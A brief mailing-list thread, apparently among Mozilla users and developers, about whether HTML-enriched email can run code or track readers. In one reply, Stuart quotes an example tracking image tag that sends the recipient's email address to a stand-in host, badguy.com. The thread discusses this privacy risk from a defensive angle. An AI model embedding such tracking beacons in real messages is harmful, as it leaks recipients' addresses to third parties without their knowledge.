Gervase Markham wrote:
>
> > > I don't know what a CGI tag is, but Mozilla does not, or should not,
> > > execute anything on the local system if Javascript in Mail and News is
> > > turned off. (Is this right?)
> > > > Gerv
> >
> > I am not an expert, but this has nothing to do with JAVASCRIPT. I know
> > that cgi-tags in HTML enriched E-Mails may contain malicous code, which
> > for example sends back your E-Mail address to a third party server (this
> > requires to "click" on the the tag). All I know is "BE VARY CAREFUL WHEN
> > RECEIVING HTML ENRICHED MAILS"!
>
> Not in Mozilla. As far as I know (and I think I probably would know)
> there's no such thing as a CGI tag. And, even if there was, Mozilla takes
> (or should take) the approach of asking you before executing things on
> your behalf.
I think he's referring to things like <img
src="http://badguy.com/track.cgi?[EMAIL PROTECTED]";>. Does mozilla still
execute a fetch on the server for images that have display=none?
Stuart.
